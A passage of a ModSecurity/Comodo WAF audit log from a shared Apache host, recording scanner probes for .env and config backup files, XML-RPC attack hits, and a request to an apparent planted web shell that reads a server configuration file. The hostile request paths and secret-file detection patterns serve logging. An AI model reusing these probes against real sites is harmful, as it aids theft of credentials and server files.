[msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE-CROOzMRjUd1ppiI2vpgAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE-CROOzMRjUd1ppiI2vpgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041156287746 1045004 (- - -) Stopwatch2: 1750041156287746 1045004; combined=3565, p1=574, p2=2714, p3=106, p4=40, p5=131, sr=115, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --06f9810d-Z-- --76e4c45e-A-- [16/Jun/2025:08:02:38.089089 +0530] aE-CRWCnKbldJKSM7awgdQAAAAc 128.199.112.101 37502 127.0.0.1 7081 --76e4c45e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --76e4c45e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --76e4c45e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-CRWCnKbldJKSM7awgdQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041157133810 955345 (- - -) Stopwatch2: 1750041157133810 955345; combined=2732, p1=472, p2=1892, p3=42, p4=64, p5=163, sr=132, sw=99, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76e4c45e-Z-- --aab5cb52-A-- [16/Jun/2025:08:02:39.387638 +0530] aE-CRvrb_uQIHEwgEhzeVgAAAAA 185.177.72.210 37564 127.0.0.1 7081 --aab5cb52-B-- GET /:8080/statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aab5cb52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c3340d65229b10eb3fdc8b2bac1b169c1750041159; expires=Mon, 16 Jun 2025 03:32:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aab5cb52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/statisch/.env"] [unique_id "aE-CRvrb_uQIHEwgEhzeVgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041158734602 653098 (- - -) Stopwatch2: 1750041158734602 653098; combined=1796, p1=377, p2=1314, p3=0, p4=0, p5=105, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aab5cb52-Z-- --e57eb01c-A-- [16/Jun/2025:08:02:47.880963 +0530] aE-CT4kQyF8-ounHsxsOZwAAAA8 185.177.72.210 38722 127.0.0.1 7081 --e57eb01c-B-- GET /config/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e57eb01c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a353cd96ec3fb7881805c21a5e6990f1750041167; expires=Mon, 16 Jun 2025 03:32:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e57eb01c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/config.php.bak"] [unique_id "aE-CT4kQyF8-ounHsxsOZwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041167190729 690315 (- - -) Stopwatch2: 1750041167190729 690315; combined=1692, p1=306, p2=1301, p3=0, p4=0, p5=84, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e57eb01c-Z-- --a648ef5a-A-- [16/Jun/2025:08:02:58.241090 +0530] aE-CWUN_xpBAtP8SIP0_DwAAAAo 185.177.72.210 48318 127.0.0.1 7081 --a648ef5a-B-- GET /front-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a648ef5a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b3f682dff87b76ed58cb6f9b92cc6cf1750041178; expires=Mon, 16 Jun 2025 03:32:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a648ef5a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/front-app/.env"] [unique_id "aE-CWUN_xpBAtP8SIP0_DwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041177592501 648652 (- - -) Stopwatch2: 1750041177592501 648652; combined=1874, p1=392, p2=1392, p3=0, p4=0, p5=89, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a648ef5a-Z-- --2715e10d-A-- [16/Jun/2025:08:02:59.222168 +0530] aE-CWmCnKbldJKSM7awgggAAAAc 185.177.72.210 48350 127.0.0.1 7081 --2715e10d-B-- GET /rails/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2715e10d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d40226c8464e15d7683ab808a447bafe1750041179; expires=Mon, 16 Jun 2025 03:32:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2715e10d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/rails/.env"] [unique_id "aE-CWmCnKbldJKSM7awgggAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041178566525 655714 (- - -) Stopwatch2: 1750041178566525 655714; combined=1893, p1=370, p2=1433, p3=0, p4=0, p5=89, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2715e10d-Z-- --bc7d197a-A-- [16/Jun/2025:08:03:09.738044 +0530] aE-CZYkQyF8-ounHsxsOcgAAAA8 185.177.72.210 47412 127.0.0.1 7081 --bc7d197a-B-- GET /:8008/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bc7d197a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fb5d980b70f87b136ff592664de8e51f1750041189; expires=Mon, 16 Jun 2025 03:33:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bc7d197a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/front-end/.env"] [unique_id "aE-CZYkQyF8-ounHsxsOcgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041189064336 673777 (- - -) Stopwatch2: 1750041189064336 673777; combined=1677, p1=395, p2=1182, p3=0, p4=0, p5=99, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bc7d197a-Z-- --30e1c313-A-- [16/Jun/2025:08:03:15.026772 +0530] aE-CawS4XDlCv3KXioQNkQAAAAY 216.73.216.83 56092 127.0.0.1 7081 --30e1c313-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fopt%2Fpsa%2Fetc&viewfile=%2F%2Fopt%2Fpsa%2Fetc%2Flogrotate.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --30e1c313-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3104 Connection: close Content-Type: text/html; charset=UTF-8 --30e1c313-H-- Message: Warning. Matched phrase "etc/logrotate.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/logrotate.conf found within ARGS:viewfile: /opt/psa/etc/logrotate.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/logrotate.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/logrotate.conf found within ARGS:viewfile: /opt/psa/etc/logrotate.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-CawS4XDlCv3KXioQNkQAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041195023699 3148 (- - -) Stopwatch2: 1750041195023699 3148; combined=1727, p1=309, p2=1315, p3=28, p4=30, p5=45, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --30e1c313-Z-- --a3f2de02-A-- [16/Jun/2025:08:03:20.107788 +0530] aE-Cb-Mjvy_LHXlMeRAbBQAAAAU 185.177.72.210 51886 127.0.0.1 7081 --a3f2de02-B-- GET /:10000/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a3f2de02-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=47c1be629772749fc9eef339503fc01e1750041199; expires=Mon, 16 Jun 2025 03:33:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a3f2de02-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.dev"] [unique_id "aE-Cb-Mjvy_LHXlMeRAbBQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041199393688 714167 (- - -) Stopwatch2: 1750041199393688 714167; combined=1961, p1=380, p2=1471, p3=0, p4=0, p5=110, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a3f2de02-Z-- --ff97745b-A-- [16/Jun/2025:08:03:25.439684 +0530] aE-CdPrb_uQIHEwgEhzefQAAAAA 185.177.72.210 52088 127.0.0.1 7081 --ff97745b-B-- GET /:10000/.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ff97745b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3debe16b617c85135951ab457c9fe1a21750041205; expires=Mon, 16 Jun 2025 03:33:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ff97745b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.copy"] [unique_id "aE-CdPrb_uQIHEwgEhzefQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041204748005 691742 (- - -) Stopwatch2: 1750041204748005 691742; combined=1853, p1=407, p2=1359, p3=0, p4=0, p5=87, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ff97745b-Z-- --8c9db90c-A-- [16/Jun/2025:08:03:35.311109 +0530] aE-CfiSg0_FUeePR9Z0CAAAAAAE 185.177.72.210 33936 127.0.0.1 7081 --8c9db90c-B-- GET /config.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8c9db90c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d680031c3940e142dcfc50d5fce478981750041215; expires=Mon, 16 Jun 2025 03:33:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8c9db90c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.old"] [unique_id "aE-CfiSg0_FUeePR9Z0CAAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041214645765 665407 (- - -) Stopwatch2: 1750041214645765 665407; combined=1983, p1=352, p2=1529, p3=0, p4=0, p5=102, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8c9db90c-Z-- --d8356f04-A-- [16/Jun/2025:08:03:38.689195 +0530] aE-CgeMjvy_LHXlMeRAbFQAAAAU 128.199.112.101 34068 127.0.0.1 7081 --d8356f04-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d8356f04-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d8356f04-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-CgeMjvy_LHXlMeRAbFQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041217735131 954131 (- - -) Stopwatch2: 1750041217735131 954131; combined=2410, p1=365, p2=1617, p3=41, p4=68, p5=196, sr=95, sw=123, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d8356f04-Z-- --ed8ec41b-A-- [16/Jun/2025:08:03:43.857611 +0530] aE-Ch0N_xpBAtP8SIP0_KgAAAAo 185.177.72.210 54866 127.0.0.1 7081 --ed8ec41b-B-- GET /:8888/.env.sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ed8ec41b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=76d15541e25f6c0b3d5c57c1ca8d4ff11750041223; expires=Mon, 16 Jun 2025 03:33:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ed8ec41b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.sample"] [unique_id "aE-Ch0N_xpBAtP8SIP0_KgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041223204585 653090 (- - -) Stopwatch2: 1750041223204585 653090; combined=1855, p1=459, p2=1304, p3=0, p4=0, p5=92, sr=133, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ed8ec41b-Z-- --cf490c03-A-- [16/Jun/2025:08:03:44.852726 +0530] aE-CiIkQyF8-ounHsxsOkQAAAA8 185.177.72.210 54914 127.0.0.1 7081 --cf490c03-B-- GET /application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cf490c03-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=177bc887c41f7c4d1e749c7512bd29951750041224; expires=Mon, 16 Jun 2025 03:33:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cf490c03-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file 